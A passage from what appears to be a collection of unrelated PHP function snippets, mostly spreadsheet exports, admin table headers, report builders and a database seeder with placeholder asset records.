$this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "public function columns_head( $columns ) {\r\n $new = array();\r\n foreach ( $columns as $key => $title ) {\r\n if ( $key == 'title' ){\r\n $new['featured_image'] = esc_html__( 'Image', 'myhome-core' );\r\n $new[$key] = $title;\r\n } elseif ( $key == 'author' ) {\r\n $new[$key] = esc_html__( 'Agent', 'myhome-core' );\r\n $new['price'] = esc_html__( 'Price', 'myhome-core' );\r\n } else {\r\n $new[$key] = $title;\r\n }\r\n }\r\n return $new;\r\n }", "static public function\tgetPlanningCells()\n {\n $workshops = workshop_level_3::all();\n\n $array = array();\n \n foreach ($workshops as $workshop) \n { \n foreach ($workshop->worker as $task) \n {\n \t$cell = array(\n \"workshop_level_3\" => $workshop->id,\n \"isMorning\" => $task->pivot->isMorning,\n \"date\" => $task->pivot->date,\n \"text\" => $task->username,\n );\n\n $array[] = $cell; \n }\n }\n return json_encode($array);\n }", "public function pi_list_header() {}", "private function reportData($arrData = array())\n {\n $file_name = 'List-Modules-' . date('Ymd') . '.xlsx';\n\n // Create excel file\n $header = array();\n $header[] = 'ID';\n $header[] = 'Nodule Name';\n $header[] = 'Module Alias';\n $header[] = 'Module Order';\n $header[] = 'Module Status';\n $header[] = 'Created Date';\n\n $data['headers'] = $header;\n\n $rows = array();\n if(!empty($arrData)){\n foreach($arrData as $key => $value) {\n $tmp = array();\n $tmp[] = $value->getID();\n $tmp[] = $value->getModuleName();\n $tmp[] = $value->getmoduleAlias();\n $tmp[] = $value->getModuleOrder();\n $tmp[] = $value->getModuleStatus() == 1 ? 'Active' : 'UnActive';\n $tmp[] = date('Y-m-d H:i:s',$value->getCreatedDate());\n\n $rows[] = $tmp;\n }\n $data['rows'] = $rows;\n $this->global_helper_service->exportToExcel($data, $file_name);\n }\n }", "public function excel()\r\n {\r\n $data = $this->AdminJobModel->getJobsForCSV($this->xssCleanInput('ids'));\r\n $data = sortForCSV(objToArr($data));\r\n $excel = new SimpleExcel('csv'); \r\n $excel->writer->setData($data);\r\n $excel->writer->saveFile('jobs'); \r\n exit;\r\n }", "function get_columns(){\n $columns = array(\n 'cb' => '<input type=\"checkbox\" />', //Render a checkbox instead of text\n 'name' => 'Name',\n 'job' => 'Job',\n 'text' => 'Description',\n\t\t\t'job_en' => 'Job in english',\n 'text_en' => 'Description in english',\n\t\t\t'facebook' => 'Facebook Link',\n\t\t\t'linkedin' => 'Linkedin Link',\n\t\t\t'image' => 'Photo'\n\t\t\t\n );\n return $columns;\n }", "function dwsim_flowsheet_approved_tab()\n{\n\t$page_content = \"\";\n\t$result = db_query(\"SELECT * from dwsim_flowsheet_proposal where id not in (select proposal_id from dwsim_flowsheet_submitted_abstracts) AND approval_status = 1 order by approval_date desc\");\n\tif ($result->rowCount() == 0)\n\t{\n\t\t$page_content .= \"Approved Proposals under Flowsheeting Project<hr>\";\n\t} //$result->rowCount() == 0\n\telse\n\t{\n\t\t$page_content .= \"Approved Proposals under Flowsheeting Project: \" . $result->rowCount() . \"<hr>\";\n\t\t$preference_rows = array();\n\t\t$i = 1;\n\t\twhile ($row = $result->fetchObject())\n\t\t{\n\t\t\t$approval_date = date(\"d-M-Y\", $row->approval_date);\n\t\t\t$preference_rows[] = array(\n\t\t\t\t$i,\n\t\t\t\t$row->project_title,\n\t\t\t\t$row->contributor_name,\n\t\t\t\t$row->university,\n\t\t\t\t$approval_date\n\t\t\t);\n\t\t\t$i++;\n\t\t} \n\t\t$preference_header = array(\n\t\t\t'No',\n\t\t\t'Flowsheet Project',\n\t\t\t'Contributor Name',\n\t\t\t'University / Institute',\n\t\t\t'Date of Approval'\n\t\t);\n\t\t$page_content .= theme('table', array(\n\t\t\t'header' => $preference_header,\n\t\t\t'rows' => $preference_rows\n\t\t));\n\t}\n\treturn $page_content;\n}", "public static function column_headings( $columns ) {\n\n\t\t\tunset( $columns['date'] );\n\n\t\t\t$columns['advanced_headers_display_rules'] = __( 'Display Rules', 'astra-addon' );\n\t\t\t$columns['date'] = __( 'Date', 'astra-addon' );\n\n\t\t\treturn $columns;\n\t\t}", "public function map($project): array\n {\n return [\n $project->name,\n $project->developer_projects->name,\n $project->status,\n $project->description,\n Date::dateTimeToExcel($project->created_at),\n ];\n }", "public function prepare_report($emp, $month, $year){\n\n // echo $emp.' '.$month.' '.$year;\n\t\t$start = date('Y-m-d', strtotime(\"$year-$month-01\")); \n\t $end = date('Y-m-t', strtotime($start));\n\t\t$data['attendance'] = calculate_attendance($emp,$start,$end);\n\t\t\n\t\t//array_walk($data['attendance'], function(&$key, $b) { ucwords(str_replace('_', ' ', $key)) }); \n\t\t$data['at_labels'] = json_encode(['Present','Absent','Half Day','Uninformed Leave','Sandwich Leave','Late Login']); \n\t\t$data['at_values'] = json_encode(array_values($data['attendance'])); \n\t\t\n\t\t$project_data = Project::join('project_assignation','projects.id','project_assignation.project_id')\n\t\t\t\t\t\t\t\t->join('users','project_assignation.employee_id','users.id')\n\t\t\t\t\t\t\t\t->join('eods','eods.user_id','users.id')\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t ->select('projects.project_name','projects.id', DB::Raw('SUM(eods.today_hours) as pr_time'))\n\n\t\t\t\t\t\t\t\t->where('users.id', $emp)\n\t\t\t\t\t\t\t\t->whereMonth('eods.date', $month)\t\n\t\t\t\t\t\t\t\t->whereYear('eods.date', $year)\t \t \t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t->whereRaw('eods.project_id = projects.id')\n\t\t\t\t\t\t\t\t->groupBy('projects.project_name','projects.id')\n\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t->get(); \n\n\n\t \n\t\t\n\t\t\t$sum = array_sum(array_column($project_data->toArray(),'pr_time')); \n\n\t\t\t$data['projects'] = $project_data;\n\t\t\tforeach($project_data as $project){\n\t\t\t\t$labels[] = $project->project_name;\n\t\t\t\t$cdata[] = number_format(($project->pr_time*100) / $sum, 2); \n\t\t\t\t//$sdata[] = array('label'=> $project->project_name,'data'=>number_format(($project->pr_time*100) / $sum, 2),'backgroundColor'=>'green','borderColor'=>'red') ;\n\t\t\t\t$sdata[] = array('label'=>$project->project_name,'y'=>number_format(($project->pr_time*100) / $sum, 2));\n\t\t\t}\n\t\t\t\n\n\t\t\tif(!empty($labels) && !empty($cdata)){\n\t\t $data['labels'] = json_encode($labels);\n\t\t $data['cdata'] = json_encode($cdata);\n\t\t $data['sdata'] = json_encode($sdata); \n\t\t\t} \n\t\t\t//print_r($data['sdata']);\n\n\t\t return $data; \n\t}", "public static function formatMonthlyBillsToPdfExport(Project $project, BillWaterSource $water_bill)\n {\n return Excel::create($water_bill->date_covered.' '.$project->name, function($excel) use ($project, $water_bill) {\n $excel->setTitle($water_bill->date_covered.' '.$project->name);\n\n $developer = Developer::getCurrentDeveloper();\n $excel->setCompany($developer->name);\n\n $excel->setDescription(\"Water bills for \".$project->name.' '.$water_bill->date_covered);\n $excel->sheet($water_bill->date_covered, function($sheet) use ($project, $water_bill) {\n \n $properties = Property::leftJoin('bills_water_source_details','bills_water_source_details.property_id','=','properties.id')\n ->whereRaw(DB::raw('bills_water_source_details.bills_water_source_id = '.$water_bill->id))\n ->get();\n\n $sheet->setPageMargin(array(\n 0.25, 0.10, 0.25, 0.10\n ));\n\n $sheet->setBorder(\"A1:F\".(count($properties)+2), 'none');\n \n $sheet->row(1, array($project->name.' '.$water_bill->date_covered, \"\",\"\",\"\",\"\",\"\"));\n $sheet->row(2, array('PROPERTY','BILL','PAYMENT','DATE','REMARKS'));\n\n $sheet->cells('A2:E2', function($cells) {\n $cells->setAlignment('center');\n $cells->setFontWeight('bold');\n });\n\n $start = 3;\n for($i=$start;$i<count($properties)+$start;$i++){\n $sheet->row($i, array(\n $properties[$i-$start]->name,\n number_format($properties[$i-$start]->bill, 4, '.', ','),\n number_format($properties[$i-$start]->payment, 4, '.', ','),\n ($properties[$i-$start]->date_payment != '0000-00-00') ? $properties[$i-$start]->date_payment : \"\",\n $properties[$i-$start]->remarks));\n\n $sheet->cells('A'.$i.':E'.$i, function($cells){\n $cells->setAlignment('center');\n });\n }\n });\n });\n }", "public function status() {\n $content = [];\n\n //$schema = drupal_get_module_schema('Ezac', 'starts');\n\n // show record count for each Code value\n $headers = [\n t(\"Jaar\"),\n t(\"Aantal vliegdagen\"),\n t(\"Uitvoer\"),\n ];\n \n $total = 0;\n $condition = [];\n $sortkey = [\n '#key' => 'datum',\n '#dir' => 'DESC',\n ];\n $datums = array_unique(EzacStart::index($condition, 'datum', $sortkey));\n $jaren = [];\n foreach ($datums as $datum) {\n $dp = date_parse($datum);\n $year = $dp['year'];\n if (isset($jaren[$year])) $jaren[$year]++;\n else $jaren[$year] = 1;\n }\n foreach ($jaren as $jaar => $aantal) {\n $count = $aantal;\n $total = $total+$count;\n $urlJaar = Url::fromRoute(\n 'ezac_starts_overzicht',\n [\n 'datum' => \"$jaar-01-01:$jaar-12-31\",\n ]\n )->toString();\n $urlExport = Url::fromRoute(\n 'ezac_starts_export_jaar',\n [\n 'filename' => \"Starts-$jaar.csv\",\n 'jaar' => $jaar\n ]\n )->toString();\n $rows[] = [\n t(\"<a href=$urlJaar>$jaar</a>\"),\n $count,\n t(\"<a href=$urlExport>Starts-$jaar.csv</a>\"),\n ];\n }\n // add line for totals\n $urlExport = Url::fromRoute(\n 'ezac_starts_export',\n [\n 'filename' => \"Starts.csv\",\n ]\n )->toString();\n $rows[]= [\n t('Totaal'),\n $total,\n t(\"<a href=$urlExport>Starts.csv</a>\"),\n ];\n //build table\n $content['table'] = [\n '#type' => 'table',\n '#caption' => t(\"Jaar overzicht van het EZAC STARTS bestand\"),\n '#header' => $headers,\n '#rows' => $rows,\n '#empty' => t('Geen gegevens beschikbaar.'),\n '#sticky' => TRUE,\n ];\n\n // Don't cache this page.\n $content['#cache']['max-age'] = 0;\n\n return $content;\n }", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Zapier Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$poll_id = $this->poll_id;\n\t\t$poll_settings_instance = $this->poll_settings_instance;\n\n\t\t/**\n\t\t * Filter zapier headers on export file\n\t\t *\n\t\t * @since 1.6.1\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $poll_id current Form ID\n\t\t * @param Forminator_Addon_Zapier_Poll_Settings $poll_settings_instance Zapier Poll Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_zapier_poll_export_headers',\n\t\t\t$export_headers,\n\t\t\t$poll_id,\n\t\t\t$poll_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "public function homework_feed() {\n\t\t\t// ->wherePivot('complete', '=', 'false')->orWherePivot('updated_at', '>', Carbon::now()->subMinutes(15))\n\t\t\t$items = $this->homework()->orderBy('end', 'ASC')->where('end', '>', date(\"Y-m-d H:i:s\", time() - 60 * 60 * 24 * 7))->where('start', '<', date(\"Y-m-d H:i:s\", time() + 60 * 60 * 24 * 7))->get();\n\t\t\t$headings = [];\n\n\t\t\tforeach ($items as $value) {\n\t\t\t\t$now = Carbon::now();\n\t\t\t\t$index = static::time_index($value->end, $now);\n\t\t\t\t$heading = static::time_heading($value->end, $now);\n\n\t\t\t\tif (!isset($headings[$index]))\n\t\t\t\t\t$headings[$index] = [\n\t\t\t\t\t\t'heading' => $heading,\n\t\t\t\t\t\t'items' => []\n\t\t\t\t\t];\n\n\t\t\t\t$headings[$index]['items'][] = $value;\n\t\t\t}\n\n\t\t\tksort($headings);\n\n\t\t\treturn $headings;\n\t\t}", "function create_pool_header()\n{\n $header =\n \"<thead>\n <tr>\n <th scope='col' class='rounded-company'>Pool</th>\n <th scope='col' class='rounded-q1'>Priority</th>\n <th scope='col' class='rounded-q1' colspan='2'>URL</th>\n <th scope='col' class='rounded-q1'>Gets</th>\n <th scope='col' class='rounded-q1'>Accepts</th>\n <th scope='col' class='rounded-q1'>Rejects</th>\n <th scope='col' class='rounded-q1'>Discards</th>\n <th scope='col' class='rounded-q1'>Stales</th>\n <th scope='col' class='rounded-q1'>Get Fails</th>\n <th scope='col' class='rounded-q1'>Rem fails</th>\n </tr>\n </thead>\";\n\n return $header;\n}", "public function run()\n {\n $records = [\n [\n 1,\n \"bibendum ullamcorper. Duis cursus, diam\",\n \"Mary\",\n \"8.52\",\n \"2017-01-27\",\n 5,\n \"O4Z 8B7\",\n 4,\n 1,\n \"Nunc ut\",\n 34,\n 1,\n 3,\n \"2018-07-08\",\n 3,\n \"Stacey\",\n \"2017-12-17\",\n 0,\n \"DLD48QLXRP\",\n 2020,\n 'Town',\n 10.22\n ],\n [\n 2,\n \"eu neque\",\n \"Hilary\",\n \"5.73\",\n \"2017-10-01\",\n 2,\n \"Q8P 7H4\",\n 4,\n 1,\n \"sollicitudin adipiscing ligula.\",\n 139,\n 0,\n null,\n null,\n 1,\n \"Sara\",\n \"2017-01-24\",\n 0,\n \"YMQ15QJ5AZ\",\n 2018,\n 'State',\n 10.22\n ],\n [\n 3,\n \"varius. Nam porttitor scelerisque neque. Nullam\",\n \"Noah\",\n \"2.93\",\n \"2017-07-13\",\n 3,\n \"A6V 2I1\",\n 5,\n 4,\n \"mattis semper, dui lectus\",\n 158,\n 1,\n 1,\n \"2018-02-02\",\n 2,\n \"Griffin\",\n \"2017-01-10\",\n 1,\n \"YWK78JJ5HZ\",\n 2019,\n 'Town',\n 5.22\n ],\n [\n 4,\n \"Etiam ligula\",\n \"Alana\",\n \"6.48\",\n \"2016-12-22\",\n 3,\n \"N0G 9K9\",\n 2,\n 4,\n \"egestas. Fusce\",\n 221,\n 1,\n 1,\n \"2018-02-24\",\n 3,\n \"Georgia\",\n \"2017-04-23\",\n 1,\n \"IUC41XA0JC\",\n 2025,\n 'Town',\n 0.00\n ],\n [\n 5,\n \"arcu. Sed et\",\n \"Avram\",\n \"6.78\",\n \"2017-12-31\",\n 4,\n \"C2M 8V4\",\n 5,\n 3,\n \"scelerisque scelerisque dui.\",\n 160,\n 0,\n null,\n null,\n 2,\n \"Deacon\",\n \"2017-10-22\",\n 1,\n \"AJU13OV8UJ\",\n 2024,\n 'State',\n 50.00\n ],\n [\n 6,\n \"odio a purus. Duis elementum, dui quis\",\n \"Rosalyn\",\n \"2.61\",\n \"2018-02-07\",\n 2,\n \"Z1C 7Z0\",\n 1,\n 3,\n \"sed pede nec ante\",\n 64,\n 1,\n 1,\n \"2018-10-09\",\n 2,\n \"Jasper\",\n \"2017-01-03\",\n 0,\n \"KGE89KI6DU\",\n 2019,\n 'Federal',\n 9.402\n ],\n [\n 7,\n \"magna. Ut tincidunt orci quis lectus. Nullam, est\",\n \"Althea\",\n \"7.57\",\n \"2018-08-16\",\n 5,\n \"L9T 3Y5\",\n 5,\n 1,\n \"lacinia orci, consectetuer euismod est\",\n 128,\n 0,\n null,\n null,\n 2,\n \"Marvin\",\n \"2017-09-20\",\n 1,\n \"GLW83AB1OV\",\n 2025,\n 'Town',\n 6.49\n ],\n [\n 8,\n \"lectus sit\",\n \"Christopher\",\n \"5.74\",\n \"2018-08-26\",\n 1,\n \"U9Y 6H2\",\n 3,\n 2,\n \"tristique neque venenatis\",\n 219,\n 1,\n 2,\n \"2017-08-03\",\n 1,\n \"Amity\",\n \"2018-09-17\",\n 0,\n \"KUU44PCBMV\",\n 2017,\n 'State',\n 7.43\n ],\n [\n 9,\n \"faucibus orci luctus et ultrices posuere; Donec\",\n \"Rogan\",\n \"3.63\",\n \"2018-03-08\",\n 3,\n \"E5P 2S8\",\n 2,\n 4,\n \"neque pellentesque massa lobortis\",\n 127,\n 1,\n 3,\n \"2018-10-12\",\n 3,\n \"Hedwig\",\n \"2017-06-25\",\n 0,\n \"EXV74CV0ZZ\",\n 2021,\n 'Federal',\n 2.32\n ],\n [\n 10,\n \"pede et risus. Quisque\",\n \"Caesar\",\n \"1.58\",\n \"2017-08-26\",\n 4,\n \"F8O 2P4\",\n 2,\n 4,\n \"Donec vitae erat vel\",\n 171,\n 0,\n null,\n null,\n 1,\n \"Emery\",\n \"2017-06-24\",\n 0,\n \"YKN72ZQ6NI\",\n 2018,\n 'State',\n 10.22\n ],\n [\n 11,\n \"sapien imperdiet ornare. In faucibus.\",\n \"Caleb\",\n \"6.85\",\n \"2017-04-16\",\n 1,\n \"N6K 1T6\",\n 2,\n 1,\n \"non, feugiat nec, diam. Duis\",\n 202,\n 0,\n null,\n null,\n 1,\n \"Cora\",\n \"2018-04-05\",\n 1,\n \"UDO93WDR8G\",\n 2020,\n 'State',\n 10.22\n ],\n [\n 12,\n \"Nunc sed orci lobortis\",\n \"Nathan\",\n \"3.95\",\n \"2016-11-24\",\n 2,\n \"Q5Y 8W3\",\n 4,\n 1,\n \"a, malesuada id, erat. Etiam\",\n 81,\n 0,\n null,\n null,\n 2,\n \"Damian\",\n \"2018-05-03\",\n 0,\n \"QM48OHY0NI\",\n 2018,\n 'State',\n 10.22\n ],\n [\n 13,\n \"porttitor interdum. Sed auctor odio a\",\n \"Selma\",\n \"2.10\",\n \"2018-06-05\",\n 4,\n \"X5T 3A1\",\n 1,\n 2,\n \"Nunc mauris. Morbi\",\n 105,\n 0,\n null,\n null,\n 3,\n \"Freya\",\n \"2017-10-30\",\n 0,\n \"EFH52JMO6M\",\n 2019,\n 'State',\n 10.22\n ],\n [\n 14,\n \"Duis cursus, diam at pretium aliquet, metus erat\",\n \"Gloria\",\n \"1.23\",\n \"2017-01-29\",\n 2,\n \"U2V 1A7\",\n 2,\n 4,\n \"dictum mi, ac mattis\",\n 121,\n 0,\n null,\n null,\n 2,\n \"Jerome\",\n \"2018-09-18\",\n 1,\n \"DCT55JIU2C\",\n 2018,\n 'State',\n 10.22\n ],\n [\n 15,\n \"lobortis risus. In mi pede, nonummy ut, molestie\",\n \"Oprah\",\n \"1.76\",\n \"2017-01-31\",\n 3,\n \"D9X 1F4\",\n 4,\n 3,\n \"faucibus leo, in lobortis tellus\",\n 124,\n 0,\n null,\n null,\n 5,\n \"Barclay\",\n \"2018-03-15\",\n 0,\n \"EQH65GTE4L\",\n 2018,\n 'State',\n 10.22\n ],\n [\n 16,\n \"sem. Pellentesque ut ipsum ac mi eleifend egestas.\",\n \"Jade\",\n \"8.02\",\n \"2017-06-20\",\n 5,\n \"U7B 7Q0\",\n 2,\n 4,\n \"id enim. Curabitur massa.\",\n 125,\n 1,\n 1,\n \"2017-12-22\",\n 3,\n \"Bruno\",\n \"2018-09-15\",\n 0,\n \"LAR03LAD1M\",\n 2022,\n 'State',\n 10.22\n ],\n [\n 17,\n \"diam vel arcu. Curabitur ut odio vel est tempor\",\n \"Britanni\",\n \"2.07\",\n \"2016-12-24\",\n 5,\n \"J6Y 6N0\",\n 5,\n 4,\n \"Fusce\",\n 220,\n 0,\n null,\n null,\n 2,\n \"Sybill\",\n \"2017-03-16\",\n 1,\n \"ZLH43DGE0L\",\n 2024,\n 'State',\n 10.22\n ],\n [\n 18,\n \"ut\",\n \"Amal\",\n \"1.27\",\n \"2017-05-17\",\n 4,\n \"G1C 2N9\",\n 1,\n 3,\n \"lobortis\",\n 235,\n 0,\n null,\n null,\n 5,\n \"Risa\",\n \"2018-04-27\",\n 0,\n \"TZD23DXK0U\",\n 2022,\n 'State',\n 10.22\n ],\n [\n 19,\n \"molestie. Sed id risus quis diam luctus lobortis.\",\n \"Nolan\",\n \"2.25\",\n \"2018-08-21\",\n 2,\n \"G1I 9I7\",\n 5,\n 1,\n \"ridiculus\",\n 155,\n 1,\n 3,\n \"2018-06-05\",\n 4,\n \"Eleanor\",\n \"2017-06-13\",\n 0,\n \"IPG08DQI2O\",\n 2022,\n 'State',\n 10.22\n ],\n [\n 20,\n \"rutrum\",\n \"Basil\",\n \"3.25\",\n \"2016-12-25\",\n 5,\n \"Y7H 2K2\",\n 3,\n 3,\n \"mi enim, condimentum eget, volutpat\",\n 195,\n 1,\n 3,\n \"2018-04-28\",\n 5,\n \"Winter\",\n \"2018-08-16\",\n 0,\n \"EAU79FKK8Y\",\n 2023,\n 'State',\n 10.22\n ]\n ];\n\n $count = count($records);\n\n foreach ($records as $key => $record) {\n Asset::insert([\n 'created_at' => Carbon\\Carbon::now()->subDays($count)->toDateTimeString(),\n 'updated_at' => Carbon\\Carbon::now()->subDays($count)->toDateTimeString(),\n 'description' => $record[1],\n 'owner' => $record[2],\n 'purchase_price' => $record[3],\n 'purchase_date' => $record[4],\n 'group_id' => $record[5],\n 'serial_number' => $record[6],\n 'location_id' => $record[7],\n 'warranty_id' => $record[8],\n 'notes' => $record[9],\n 'estimated_life_months' => $record[10],\n 'is_out_of_service' => $record[11],\n 'out_of_service_id' => $record[12],\n 'out_of_service_date' => $record[13],\n 'vendor_id' => $record[14],\n 'assigned_to' => $record[15],\n 'assigned_date' => $record[16],\n 'is_computer' => $record[17],\n 'tag' => $record[18],\n 'scheduled_retirement_year' => $record[19],\n 'funding_source' => $record[20],\n 'percent_federal_participation' => $record[21]\n ]);\n $count--;\n }\n }", "private function getHeaders(){\n\t\t$thead=\"\";\n\t\tif(!empty($this->headers)){\n\t\t\t$thead=\"<thead>\";\n\t\t\t$thead.=\"<tr>\";\n\t\t\t$headerNumber=0;\n\t\t\t$fieldNumber=0;\n\t\t\t$count=count($this->headers)-1;\n\t\t\t\n\t\t\t//Busca si hay columnas anteriores a agregar\n\t\t\tif(!empty($this->prependedCols)){\n\t\t\t\tforeach($this->prependedCols as $col){\n\t\t\t\t\t$thead.=\"<th>{$col[\"header\"]}</th>\";\n\t\t\t\t\t$headerNumber++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//Busca las columnas declaradas\n\t\t\tforeach($this->headers as $name){\n\t\t\t\tif($this->headerSortable){\n\t\t\t\t\tif($this->order!==\"\"&&!empty($this->order)){\n\t\t\t\t\t\t$order=explode('|',$this->order);\n\t\t\t\t\t\tif(is_array($order)&&$fieldNumber==$order[0]){\n\t\t\t\t\t\t\t$classSortable=\"velkan-grid-column-header 